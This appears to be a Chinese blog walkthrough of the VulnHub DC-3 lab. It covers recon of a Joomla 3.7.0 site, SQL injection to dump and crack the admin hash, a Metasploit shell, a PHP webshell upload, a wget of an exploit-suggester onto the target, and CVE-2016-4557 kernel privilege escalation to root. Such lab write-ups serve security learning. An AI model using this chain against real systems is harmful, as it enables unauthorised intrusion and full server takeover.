首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >VulnHub DC-3 靶机渗透测试笔记

VulnHub DC-3 靶机渗透测试笔记

原创
作者头像
弹不出的shell
发布2026-03-06 17:21:03
发布2026-03-06 17:21:03
910
举报
文章被收录于专栏:vulnhub DC 1-9vulnhub DC 1-9

VulnHub DC-3 靶机渗透测试笔记

靶机信息

  • 靶机名称:DC-3
  • 靶机来源:VulnHub
  • 目标:获取 root 权限,找到最终 flag
  • 难度:⭐⭐⭐☆☆(中等)
  • 涉及技术:信息收集、Joomla 漏洞利用、SQL注入、Webshell上传、Linux内核提权

一、信息收集

1.1 主机发现

查看本机网段,确认目标网段:

使用 nmap 扫描存活主机:

代码语言:javascript
复制
nmap -sn 192.168.168.0/24

扫描结果:

  • 192.168.168.1 → VM8 网卡
  • 192.168.168.2 → 网关
  • 192.168.168.128 → Kali 本机
  • 192.168.168.129靶机 DC-3
  • 192.168.168.254 → DHCP 服务器

1.2 端口与服务扫描

对目标进行全端口详细扫描:

代码语言:javascript
复制
nmap -A -p- 192.168.168.129

DC-3 只开放了 80 端口,攻击面集中在 Web 应用。

1.3 Web 信息收集

浏览器访问目标网站:

代码语言:javascript
复制
http://192.168.168.129/

使用 Wappalyzer 识别 CMS 类型:

确认为 Joomla CMS,接下来针对 Joomla 进行专项扫描。

1.4 目录扫描

使用 dirsearch 扫描目录,找到后台入口:

代码语言:javascript
复制
dirsearch -u http://192.168.168.129/

发现后台登录页面:

代码语言:javascript
复制
http://192.168.168.129/administrator/

二、漏洞扫描

2.1 使用 JoomScan 识别版本

搜索 Joomla 专用漏洞扫描工具 JoomScan:

安装并使用:

代码语言:javascript
复制
sudo apt install joomscan
joomscan -u 192.168.168.129

确认 Joomla 版本为 3.7.0

2.2 搜索 Joomla 3.7.0 漏洞

搜索该版本已知漏洞:

确认存在漏洞,在 MSF 中搜索:

代码语言:javascript
复制
search joomla 3.7

三、漏洞利用

3.1 MSF 利用(失败)

尝试使用 MSF 模块直接利用:

代码语言:javascript
复制
use exploit/unix/webapp/joomla_comfields_sqli_rce
show options
set RHOSTS 192.168.168.129
run

报错:

代码语言:javascript
复制
No logged-in Administrator or Super User user found!
Exploit completed, but no session was created.

提示需要管理员权限才能利用,需要先获取后台账号。

3.2 SQL 注入获取管理员密码

使用 searchsploit 找到 SQL 注入利用脚本:

代码语言:javascript
复制
searchsploit joomla 3.7

找到并查看利用脚本:

代码语言:javascript
复制
find / -name 44227.php
cat /usr/share/exploitdb/exploits/php/remote/44227.php

启动 PHP 内置服务器运行该脚本:

代码语言:javascript
复制
php -S 0.0.0.0:8888
# 若报错先安装依赖
apt install php-curl -y

(通过网站访问)

输入目标 IP 执行攻击,获取到数据库信息:

字段

Database user

root@localhost

Database name

joomladb

Database version

5.7.25-0ubuntu0.16.0

Username

admin

Email

freddy@norealaddress

Password hash

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

将 hash 去在线工具破解,得到明文密码:

代码语言:javascript
复制
snoopy

如在线工具解不出,也可以用 john 或 hashcat 配合字典爆破。

3.3 登录后台

使用获取到的账号登录 Joomla 后台:

代码语言:javascript
复制
http://192.168.168.129/administrator/
账号:admin
密码:snoopy

登录成功后,回到 MSF 重新执行攻击,这次成功获取 shell:

代码语言:javascript
复制
use exploit/unix/webapp/joomla_comfields_sqli_rce
set RHOSTS 192.168.168.129
run

漏洞原理说明:

  • SQL 注入脚本利用 Joomla 3.7.0 的 com_fields 组件存在注入点,直接拖库
  • MSF 模块利用的是 Joomla 后台模板编辑功能写入 Webshell,需要管理员权限

四、后渗透与提权

4.1 查看当前权限

获取 shell 后确认当前用户权限:

当前为 www-data 权限,需要提权。

4.2 上传 Webshell

(为了用哥斯拉,也可以不用)

通过 MSF 上传 PHP Webshell 到 Web 目录:

代码语言:javascript
复制
upload '/home/kali/桌面/shell.php' /var/www/html/templates/beez3

浏览器访问确认 Webshell 正常运行:

代码语言:javascript
复制
http://192.168.168.129/templates/beez3/shell.php

4.3 使用 Linux Exploit Suggester 枚举提权方向

下载提权辅助工具:

可以直接在靶机上下载

代码语言:javascript
复制
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

升级为交互式终端并执行:

代码语言:javascript
复制
python -c 'import pty;pty.spawn("/bin/bash")'
chmod 777 les.sh
./les.sh

工具推荐了多个可用的内核提权漏洞,选择使用 CVE-2016-4557(eBPF 双重释放漏洞),(比脏牛更稳定。因为脏牛的一个exp失败了,就中间这个,靶机崩了,下面的就是脏牛的,先编译,后续不写了,靶机崩了3次)

注:直接用脏牛(40611.c)时靶机容易崩溃,因此换用了更稳定的 eBPF 利用方式。

4.4 内核提权(CVE-2016-4557)

kali搜索漏洞

txt里面提供了exp的下载链接

下载 exp 并通过 Webshell(哥斯拉)上传到靶机:

图片给错了,上传的是exploit.tar这个exp

解压并编译执行:

代码语言:javascript
复制
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput

4.5 获取 root 权限

成功提权到 root,获取最终 flag:

代码语言:javascript
复制
whoami
cd /root
ls
cat the-flag.txt

五、渗透流程总结

代码语言:javascript
复制
信息收集(nmap + dirsearch)
    ↓
发现 Joomla 3.7.0 → JoomScan 确认版本
    ↓
SQL注入(44227.php)→ 获取管理员 hash → 破解得到 snoopy
    ↓
登录后台 → MSF 写入 Webshell → 获取 www-data shell
    ↓
上传 les.sh 枚举提权漏洞
    ↓
CVE-2016-4557 eBPF 内核提权 → root → flag ✅

六、涉及工具汇总

工具

用途

nmap

端口扫描、服务识别

dirsearch

Web 目录扫描

Wappalyzer

CMS 识别

JoomScan

Joomla 专项扫描

searchsploit

本地漏洞库搜索

Metasploit

漏洞利用框架

44227.php

Joomla SQL注入利用

linux-exploit-suggester

Linux 提权辅助枚举

哥斯拉

Webshell 管理工具


本文为 VulnHub DC-3 靶机学习笔记,所有操作均在本地搭建的靶场环境中完成,仅用于学习交流。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • VulnHub DC-3 靶机渗透测试笔记
    • 一、信息收集
      • 1.1 主机发现
      • 1.2 端口与服务扫描
      • 1.3 Web 信息收集
      • 1.4 目录扫描
    • 二、漏洞扫描
      • 2.1 使用 JoomScan 识别版本
      • 2.2 搜索 Joomla 3.7.0 漏洞
    • 三、漏洞利用
      • 3.1 MSF 利用(失败)
      • 3.2 SQL 注入获取管理员密码
      • 3.3 登录后台
    • 四、后渗透与提权
      • 4.1 查看当前权限
      • 4.2 上传 Webshell
      • 4.3 使用 Linux Exploit Suggester 枚举提权方向
      • 4.4 内核提权(CVE-2016-4557)
      • 4.5 获取 root 权限
    • 五、渗透流程总结
    • 六、涉及工具汇总
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档